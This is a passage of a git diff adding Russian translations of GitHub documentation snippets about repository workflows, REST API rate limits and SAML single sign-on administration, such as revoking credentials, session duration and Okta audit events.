+ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145117835" +--- +1. Введите название и описание проблемы. +![Пример проблемы](/assets/images/help/issues/sample_issue.png) diff --git a/translations/ru-RU/data/reusables/repositories/type-line-comment.md b/translations/ru-RU/data/reusables/repositories/type-line-comment.md new file mode 100644 index 000000000000..da84725bba6b --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/type-line-comment.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: a8315c1f046ac3a5ba9e4540b6c79320c2e4368c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145117832" +--- +1. В поле комментария введите комментарий. +![Поле комментария](/assets/images/help/pull_requests/comment-field.png) diff --git a/translations/ru-RU/data/reusables/repositories/valid-community-issues.md b/translations/ru-RU/data/reusables/repositories/valid-community-issues.md new file mode 100644 index 000000000000..2470f3ef9a79 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/valid-community-issues.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5c3fff5bd14b6b391bc983f26810972d1cdd6ae0 +ms.sourcegitcommit: d697e0ea10dc076fd62ce73c28a2b59771174ce8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/20/2022 +ms.locfileid: "148098167" +--- +Чтобы включить его в контрольный список профилей сообщества, шаблоны проблем должны находиться в `.github/ISSUE_TEMPLATE` папке и содержать допустимые ключи в интерфейсном шаблоне YAML (для шаблонов проблем, определенных в `.md` файлах) или `name:` допустимых `name:` `about:` и `description:` ключей (для форм проблем, определенных в `.yml` файлах). diff --git a/translations/ru-RU/data/reusables/repositories/view-failed-job-results.md b/translations/ru-RU/data/reusables/repositories/view-failed-job-results.md new file mode 100644 index 000000000000..cdc59d856708 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/view-failed-job-results.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: c9f0d22a641d72b392b2b1fa719fe6df1609d044 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145117819" +--- +1. Все неудачные действия автоматически разворачиваются для отображения результатов. + + ![Результаты рабочего процесса Super linter](/assets/images/help/repository/super-linter-workflow-results-updated-2.png) diff --git a/translations/ru-RU/data/reusables/repositories/view-run.md b/translations/ru-RU/data/reusables/repositories/view-run.md new file mode 100644 index 000000000000..a73c16b77c55 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/view-run.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 6e76cb8f214ced1ff417a433dc512cf6e4e36c24 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145137726" +--- +1. В списке запусков рабочего процесса щелкните имя запуска, чтобы просмотреть сводку по выполнению рабочего процесса. + + ![Имя запуска рабочего процесса](/assets/images/help/repository/run-name.png) diff --git a/translations/ru-RU/data/reusables/repositories/view-specific-line.md b/translations/ru-RU/data/reusables/repositories/view-specific-line.md new file mode 100644 index 000000000000..82bd95fded1e --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/view-specific-line.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 9266dfe05db57e1dd889c169b77ec30cb67bb04f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145117816" +--- +1. Ссылку на определенную строку в журналах, можно также получить, щелкнув номер строки соответствующего шага. Затем можно скопировать ссылку из адресной строки браузера. + + ![Кнопка для копирования ссылки](/assets/images/help/repository/copy-link-button-updated-2.png) diff --git a/translations/ru-RU/data/reusables/repositories/workflow-notifications.md b/translations/ru-RU/data/reusables/repositories/workflow-notifications.md new file mode 100644 index 000000000000..8541e6ab7303 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/workflow-notifications.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 307a695e8a973c7b37a29ebbeb4606a8ed43d38d +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145117811" +--- +Если вы включаете уведомления о сообщениях электронной почты или веб-уведомления для {% data variables.product.prodname_actions %}, вы получите уведомление при завершении выполнения любого рабочего процесса, который был активирован. Уведомление будет содержать сведения о состоянии выполнения рабочего процесса (включая успешные, неудачные, нейтральные и отмененные выполнения). Вы также можете выбрать вариант, чтобы получать уведомление только в том случае, если выполнение рабочего процесса завершилось сбоем. Дополнительные сведения о включении или отключении уведомлений см. в статье [Сведения об уведомлениях](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications). + +Уведомления о запланированных рабочих процессах отправляются пользователю, который изначально создал рабочий процесс. Если другой пользователь обновляет синтаксис cron в файле рабочего процесса, последующие уведомления будут отправляться этому пользователю.{% ifversion fpt or ghes or ghec %} Если запланированный рабочий процесс был отключен, а затем включен снова, уведомления будут отправляться пользователю, который повторно включил рабочий процесс, а не пользователю, который в последний раз изменил синтаксис cron.{% endif %} + +Состояние выполнения рабочего процесса также отображается на вкладке "Действия" репозитория. Дополнительные сведения см. в статье [Управление выполнением рабочего процесса](/actions/automating-your-workflow-with-github-actions/managing-a-workflow-run). diff --git a/translations/ru-RU/data/reusables/repositories/you-can-fork.md b/translations/ru-RU/data/reusables/repositories/you-can-fork.md new file mode 100644 index 000000000000..a38402202e8c --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/you-can-fork.md @@ -0,0 +1,9 @@ +{% ifversion ghae %} +If the policies for your enterprise permit forking private and internal repositories, you can fork a repository to your personal account or an organization where you have repository creation permissions. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." + +{% elsif ghes or ghec %} +You can fork a private or internal repository to your personal account or an organization on {% data variables.location.product_location %} where you have repository creation permissions, if settings for the repository and your enterprise policies allow forking. + +{% elsif fpt %} +If you have access to a private repository and the owner permits forking, you can fork the repository to your personal account, or an organization on {% data variables.product.prodname_team %} where you have repository creation permissions. You cannot fork a private repository to an organization using {% data variables.product.prodname_free_team %}. For more information, see "[GitHub's products](/articles/githubs-products)." +{% endif %} diff --git a/translations/ru-RU/data/reusables/rest-api/always-check-your-limit.md b/translations/ru-RU/data/reusables/rest-api/always-check-your-limit.md new file mode 100644 index 000000000000..52cadccd66f8 --- /dev/null +++ b/translations/ru-RU/data/reusables/rest-api/always-check-your-limit.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: e6e876fdcf50cd60a817234e8128222198494b31 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145117803" +--- +{% note %} + +**Примечание.** Вы можете в любое время подтвердить текущее состояние ограничения скорости. Дополнительные сведения см. в разделе [Проверка состояния ограничения скорости](/rest/overview/resources-in-the-rest-api#checking-your-rate-limit-status). + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/rest-api/dotcom-only-guide-note.md b/translations/ru-RU/data/reusables/rest-api/dotcom-only-guide-note.md new file mode 100644 index 000000000000..86e1a648f12b --- /dev/null +++ b/translations/ru-RU/data/reusables/rest-api/dotcom-only-guide-note.md @@ -0,0 +1,13 @@ +{% ifversion not fpt or ghec %} + +{% note %} + +**Note**: The following guide uses the REST API for {% data variables.product.prodname_dotcom_the_website %}. + +- Use {% data variables.product.api_url_pre %} to access the API for {% data variables.product.product_name %}. + +- The guide specifies usernames and repositories that may not exist on {% data variables.location.product_location %}. You may need to use different names to see similar output. + +{% endnote %} + +{% endif %} diff --git a/translations/ru-RU/data/reusables/saml/about-authorized-credentials.md b/translations/ru-RU/data/reusables/saml/about-authorized-credentials.md new file mode 100644 index 000000000000..87664ef3bc6d --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/about-authorized-credentials.md @@ -0,0 +1 @@ +You can see each {% data variables.product.pat_generic %} and SSH key that a member has authorized for API and Git access. Only the last several characters of each token or key are visible. If necessary, work with the member to determine which credentials you should revoke. diff --git a/translations/ru-RU/data/reusables/saml/about-linked-identities.md b/translations/ru-RU/data/reusables/saml/about-linked-identities.md new file mode 100644 index 000000000000..e1a8512bad23 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/about-linked-identities.md @@ -0,0 +1,3 @@ +You can view the single sign-on identity that a member has linked to their account on {% data variables.location.product_location %}. + +If a member links the wrong identity to their account on {% data variables.location.product_location %}, you can revoke the linked identity to allow the member to try again. diff --git a/translations/ru-RU/data/reusables/saml/about-saml-access-enterprise-account.md b/translations/ru-RU/data/reusables/saml/about-saml-access-enterprise-account.md new file mode 100644 index 000000000000..08cacea2fac1 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/about-saml-access-enterprise-account.md @@ -0,0 +1 @@ +To access each organization's resources on {% data variables.product.product_name %}, the member must have an active SAML session in their browser. To access each organization's protected resources using the API and Git, the member must use a {% data variables.product.pat_generic %} or SSH key that the member has authorized for use with the organization. Enterprise owners can view and revoke a member's linked identity, active sessions, or authorized credentials at any time. diff --git a/translations/ru-RU/data/reusables/saml/about-saml-enterprise-accounts.md b/translations/ru-RU/data/reusables/saml/about-saml-enterprise-accounts.md new file mode 100644 index 000000000000..ff2e44aeabde --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/about-saml-enterprise-accounts.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b077c3ba5095a3eecf5697d7914527a508fb121f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145117760" +--- +Владельцы предприятий могут включить единый вход SAML и централизованную проверку подлинности с помощью поставщика удостоверений SAML во всех организациях, принадлежащих корпоративной учетной записи. После того как вы включите единый вход через SAML для корпоративной учетной записи, он будет включен по умолчанию для всех организаций, принадлежащих вашей корпоративной учетной записи. Все члены должны будут выполнять аутентификацию с использованием единого входа через SAML, чтобы получить доступ к своим организациям, а владельцы корпоративных учетных записей должны будут выполнять такую аутентификацию при входе в свою учетную запись. diff --git a/translations/ru-RU/data/reusables/saml/about-user-provisioning-enterprise-account.md b/translations/ru-RU/data/reusables/saml/about-user-provisioning-enterprise-account.md new file mode 100644 index 000000000000..9da0b58d7d91 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/about-user-provisioning-enterprise-account.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2c5eda60cc47d3956c814e403137124e3272c5cb +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145137689" +--- +Если вы используете Okta в качестве поставщика удостоверений и участвуете в частной бета-версии для корпоративных учетных записей, то можете управлять членством в организациях корпоративной учетной записи с помощью SCIM. SCIM автоматически приглашает пользователей в организации вашей корпоративной учетной записи или удаляет их из нее в зависимости от того, являются ли они членами группы, соответствующей каждой организации у вашего поставщика удостоверений. diff --git a/translations/ru-RU/data/reusables/saml/ae-enable-saml-sso-during-bootstrapping.md b/translations/ru-RU/data/reusables/saml/ae-enable-saml-sso-during-bootstrapping.md new file mode 100644 index 000000000000..c275564a558b --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/ae-enable-saml-sso-during-bootstrapping.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5d08c695a80fbb85a737f400809b859039f72893 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145117755" +--- +Настройка управления удостоверениями и доступом для {% data variables.product.product_name %} выполняется путем ввода сведений о поставщике удостоверений SAML во время инициализации. Дополнительные сведения см. в разделе [Инициализация {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae#connecting-your-idp-to-your-enterprise). diff --git a/translations/ru-RU/data/reusables/saml/ae-uses-saml-sso.md b/translations/ru-RU/data/reusables/saml/ae-uses-saml-sso.md new file mode 100644 index 000000000000..eae52a5d59e0 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/ae-uses-saml-sso.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8396c212c048ddf20c4b00d4891a21052555325e +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109129" +--- +{% data variables.product.product_name %} использует единый вход SAML для проверки подлинности пользователей. Можно централизированно управлять доступом к {% data variables.product.prodname_ghe_managed %} из поставщика удостоверений, поддерживающего стандарт SAML 2.0. \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/saml/assert-the-administrator-attribute.md b/translations/ru-RU/data/reusables/saml/assert-the-administrator-attribute.md new file mode 100644 index 000000000000..89301abf9bcd --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/assert-the-administrator-attribute.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e26318e1b0d86ee5ec0c486ccaba4f7dbb8e2ed9 +ms.sourcegitcommit: ced661bdffebd0f96f6f76db109fbe31983448ba +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/16/2022 +ms.locfileid: "148167084" +--- +Чтобы сделать человека владельцем предприятия, необходимо делегировать доступ от поставщика удостоверений. Если вы используете Azure AD и SCIM, назначьте пользователю роль владельца предприятия. Для других поставщиков удостоверений включите `administrator` атрибут в утверждение SAML для учетной записи пользователя в поставщике удостоверений со значением `true`. Дополнительные сведения о владельцах организаций см. в разделе [Роли в организации](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise). Дополнительные сведения о проверке подлинности и подготовке с помощью Azure AD см. в разделе [Настройка проверки подлинности и подготовки для предприятия с помощью Azure AD](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad). diff --git a/translations/ru-RU/data/reusables/saml/assign-yourself-to-okta.md b/translations/ru-RU/data/reusables/saml/assign-yourself-to-okta.md new file mode 100644 index 000000000000..e41628e09d84 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/assign-yourself-to-okta.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: acc793d5b9eb2ae5282f9ede18d1fe8d65838bc7 +ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879205" +--- +1. Назначьте приложение пользователю в Okta. Дополнительные сведения см. в разделе [Назначение приложений пользователям](https://help.okta.com/en/prod/Content/Topics/users-groups-profiles/usgp-assign-apps.htm) в документации по Okta. diff --git a/translations/ru-RU/data/reusables/saml/authenticate-with-saml-at-least-once.md b/translations/ru-RU/data/reusables/saml/authenticate-with-saml-at-least-once.md new file mode 100644 index 000000000000..e646937d2196 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/authenticate-with-saml-at-least-once.md @@ -0,0 +1 @@ +If you don't see **Configure SSO**, ensure that you have authenticated at least once through your SAML IdP to access resources on {% data variables.location.product_location %}. For more information, see "[About authentication with SAML single sign-on](/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on)." diff --git a/translations/ru-RU/data/reusables/saml/authentication-loop.md b/translations/ru-RU/data/reusables/saml/authentication-loop.md new file mode 100644 index 000000000000..1c58874c9140 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/authentication-loop.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 7e0f711826a1f1ea1bee8cec18bf5b4614815174 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109130" +--- +## Пользователи многократно направляются на проверку подлинности + +Если пользователи попадают в цикл непрерывных перенаправлений на проверку подлинности SAML, вам следует увеличить длительность сеанса SAML в параметрах поставщика удостоверений. + +Значение `SessionNotOnOrAfter`, которое отправляется в ответе SAML, определяет длительность периода, после которого пользователь будет снова перенаправлен к поставщику удостоверений для проверки подлинности. Если для сеанса SAML указана длительность в 2 часа или меньше, {% data variables.product.prodname_dotcom_the_website %} начнет обновлять сеанс SAML за 5 минут до истечения этого срока. Это означает, что при длительности сеанса в 5 минут и менее пользователи застревают в цикле постоянной проверки подлинности SAML. + +Чтобы устранить эту проблему, мы рекомендуем не использовать продолжительность сеанса SAML менее 4 часов. Дополнительные сведения см. в разделе [Справочник по конфигурации SAML](/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference#session-duration-and-timeout). diff --git a/translations/ru-RU/data/reusables/saml/authorized-creds-info.md b/translations/ru-RU/data/reusables/saml/authorized-creds-info.md new file mode 100644 index 000000000000..5f5411ce0695 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/authorized-creds-info.md @@ -0,0 +1,7 @@ +Before you can authorize a {% data variables.product.pat_generic %} or SSH key, you must have a linked SAML identity. If you're a member of an organization where SAML SSO is enabled, you can create a linked identity by authenticating to your organization with your IdP at least once. For more information, see "[About authentication with SAML single sign-on](/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on)." + +After you authorize a {% data variables.product.pat_generic %} or SSH key, the token or key will stay authorized until revoked in one of the following ways. +- An organization or enterprise owner revokes the authorization. +- You are removed from the organization. +- The scopes in a {% data variables.product.pat_generic %} are edited, or the token is regenerated. +- The {% data variables.product.pat_generic %} expired as defined during creation. diff --git a/translations/ru-RU/data/reusables/saml/click-enterprise-account-application.md b/translations/ru-RU/data/reusables/saml/click-enterprise-account-application.md new file mode 100644 index 000000000000..05806c66e3cc --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/click-enterprise-account-application.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c6b6746c1785b0b20e2a7af23a4602a85f351227 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145117744" +--- +1. Щелкните метку для приложения, созданного для корпоративной учетной записи. diff --git a/translations/ru-RU/data/reusables/saml/click-person-revoke-credentials.md b/translations/ru-RU/data/reusables/saml/click-person-revoke-credentials.md new file mode 100644 index 000000000000..1bbc97b40eed --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/click-person-revoke-credentials.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a8d163caaef78b1fc5af73ec56675351830cb4da +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145137673" +--- +1. Щелкните имя участника, авторизованные учетные данные которого вы хотите просмотреть или отозвать. diff --git a/translations/ru-RU/data/reusables/saml/click-person-revoke-identity.md b/translations/ru-RU/data/reusables/saml/click-person-revoke-identity.md new file mode 100644 index 000000000000..338e7b32472c --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/click-person-revoke-identity.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6daaa1d3e89024ad28ba422f2fdc6ad3fd2bd844 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145137670" +--- +1. Щелкните имя участника, связанное удостоверение которого вы хотите просмотреть или отменить. diff --git a/translations/ru-RU/data/reusables/saml/click-person-revoke-session.md b/translations/ru-RU/data/reusables/saml/click-person-revoke-session.md new file mode 100644 index 000000000000..269149b3550d --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/click-person-revoke-session.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: cd84b18387cef7aee59be23c37f2a68dee640375 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145117739" +--- +1. Щелкните имя члена, сессию SAML которого вы хотите просмотреть или отменить. diff --git a/translations/ru-RU/data/reusables/saml/confirm-revoke-credentials.md b/translations/ru-RU/data/reusables/saml/confirm-revoke-credentials.md new file mode 100644 index 000000000000..911dd40452cf --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/confirm-revoke-credentials.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 12836cb71e0366db53e2020440025d30f6b6f3bb +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145119435" +--- +1. Прочтите эти сведения, а затем щелкните **Я понимаю, отменить доступ для этого маркера**. diff --git a/translations/ru-RU/data/reusables/saml/confirm-revoke-identity.md b/translations/ru-RU/data/reusables/saml/confirm-revoke-identity.md new file mode 100644 index 000000000000..0d13fcd6458f --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/confirm-revoke-identity.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d297d8253195d95ad980d36cd961bc8d686b1c81 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145125707" +--- +1. Прочтите сведения и нажмите кнопку **Отозвать внешнее удостоверение**. diff --git a/translations/ru-RU/data/reusables/saml/contact-support-if-your-idp-is-unavailable.md b/translations/ru-RU/data/reusables/saml/contact-support-if-your-idp-is-unavailable.md new file mode 100644 index 000000000000..a83a76456094 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/contact-support-if-your-idp-is-unavailable.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: be359d20b2dbb29259646f2a571d57fe9c605091 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881077" +--- +Если вам не удается войти в свое предприятие из-за отсутствия подключения {% data variables.product.product_name %} к поставщику удостоверений SAML, свяжитесь с {% data variables.contact.github_support %}, чтобы получить помощь с доступом к {% data variables.product.product_name %} для обновления конфигурации единого входа SAML. Дополнительные сведения см. в разделе [Получение помощи от {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support). diff --git a/translations/ru-RU/data/reusables/saml/create-a-machine-user.md b/translations/ru-RU/data/reusables/saml/create-a-machine-user.md new file mode 100644 index 000000000000..4418d334b5b8 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/create-a-machine-user.md @@ -0,0 +1 @@ +You must create and use a dedicated machine user account on your IdP to associate with {% ifversion ghae %}the first{% elsif scim-for-ghes %}an{% endif %} enterprise owner account on {% data variables.product.product_name %}. Store the credentials for the user account securely in a password manager. For more information, see "[Configuring user provisioning with SCIM for your enterprise](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise#enabling-user-provisioning-for-your-enterprise)." diff --git a/translations/ru-RU/data/reusables/saml/current-time-earlier-than-notbefore-condition.md b/translations/ru-RU/data/reusables/saml/current-time-earlier-than-notbefore-condition.md new file mode 100644 index 000000000000..f67926ee272c --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/current-time-earlier-than-notbefore-condition.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: a9ba68f182b48a4186a4ae63909ef4e146d7c392 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109135" +--- +## Ошибка: "Текущее время раньше, чем указано в условии NotBefore" + +Такая ошибка может возникать при слишком большом расхождении текущего времени у поставщика удостоверений и в {% data variables.product.product_name %}, что иногда случается с локальными поставщиками удостоверений. + +{% ifversion ghes %} Чтобы предотвратить возникновение таких проблем, мы рекомендуем назначить для вашего устройства тот же источник сетевого протокола времени (NTP), который использует поставщик удостоверений. {% endif %} При возникновении этой ошибки убедитесь, что время {% ifversion ghes %}на вашем устройстве {% else %}у поставщика удостоверений{% endif %} правильно синхронизируется с NTP-сервером. + +Если в качестве поставщика удостоверений вы используете ADFS, также установите значение 1 минута в ADFS в параметре `NotBeforeSkew` для {% data variables.product.prodname_dotcom %}. Если `NotBeforeSkew` имеет значение 0, то проблемы с проверкой подлинности будут возникать даже при очень небольших различиях во времени, даже в несколько миллисекунд. diff --git a/translations/ru-RU/data/reusables/saml/dotcom-saml-explanation.md b/translations/ru-RU/data/reusables/saml/dotcom-saml-explanation.md new file mode 100644 index 000000000000..8a69b4f1eae4 --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/dotcom-saml-explanation.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ba6cc040a79a95346efdc0c7f4269b26922c8947 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147526809" +--- +Единый вход SAML предоставляет владельцам организаций и предприятий на {% data variables.product.product_name %} способ управления доступом и защиты ресурсов организации, таких как репозитории, проблемы и запросы на вытягивание. \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/saml/external-group-audit-events.md b/translations/ru-RU/data/reusables/saml/external-group-audit-events.md new file mode 100644 index 000000000000..f429b1010c4b --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/external-group-audit-events.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 3b0b01478e2297c1fd4a61f79bdba02f2c7e4c83 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145117736" +--- +| Действие | Описание +|------------------|------------------- +| `external_group.delete` | Активируется при удалении группы Okta. Дополнительные сведения см. в разделе [Сопоставление групп Okta с командами](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams). +| `external_group.link` | Активируется при сопоставлении группы Okta с вашей командой {% data variables.product.prodname_ghe_managed %}. Дополнительные сведения см. в разделе [Сопоставление групп Okta с командами](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams). +| `external_group.provision` | Активируется при сопоставлении группы Okta с командой в {% data variables.product.prodname_ghe_managed %}. Дополнительные сведения см. в разделе [Сопоставление групп Okta с командами](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams). +| `external_group.unlink` | Активируется, когда группа Okta не сопоставлена с вашей командой {% data variables.product.prodname_ghe_managed %}. Дополнительные сведения см. в разделе [Сопоставление групп Okta с командами](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams). +| `external_group.update` | Активируется при обновлении параметров группы Okta. Дополнительные сведения см. в разделе [Сопоставление групп Okta с командами](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams). diff --git a/translations/ru-RU/data/reusables/saml/external-identity-audit-events.md b/translations/ru-RU/data/reusables/saml/external-identity-audit-events.md new file mode 100644 index 000000000000..f86ca3be3cdb --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/external-identity-audit-events.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 40ae6bf1d1c0f6726bcf171e8a642ac4da6c9ba1 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145137614" +--- +| Действие | Описание +|------------------|------------------- +| `external_identity.deprovision` | Активируется, когда какой-либо пользователь удаляется из группы Okta, а затем отзывается из {% data variables.product.prodname_ghe_managed %}. Дополнительные сведения см. в разделе [Сопоставление групп Okta с командами](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams). +| `external_identity.provision` | Активируется, когда какой-либо пользователь добавляется в группу Okta, а затем подготавливается к работе в сопоставленной команде в {% data variables.product.prodname_ghe_managed %}. Дополнительные сведения см. в разделе [Сопоставление групп Okta с командами](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams). +| `external_identity.update` | Активируется при обновлении параметров Okta пользователя. Дополнительные сведения см. в разделе [Сопоставление групп Okta с командами](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams). diff --git a/translations/ru-RU/data/reusables/saml/ghec-only.md b/translations/ru-RU/data/reusables/saml/ghec-only.md new file mode 100644 index 000000000000..ba34330f1e5f --- /dev/null +++ b/translations/ru-RU/data/reusables/saml/ghec-only.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 6c39cd01065252de845c4d49039ee6340692745b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU 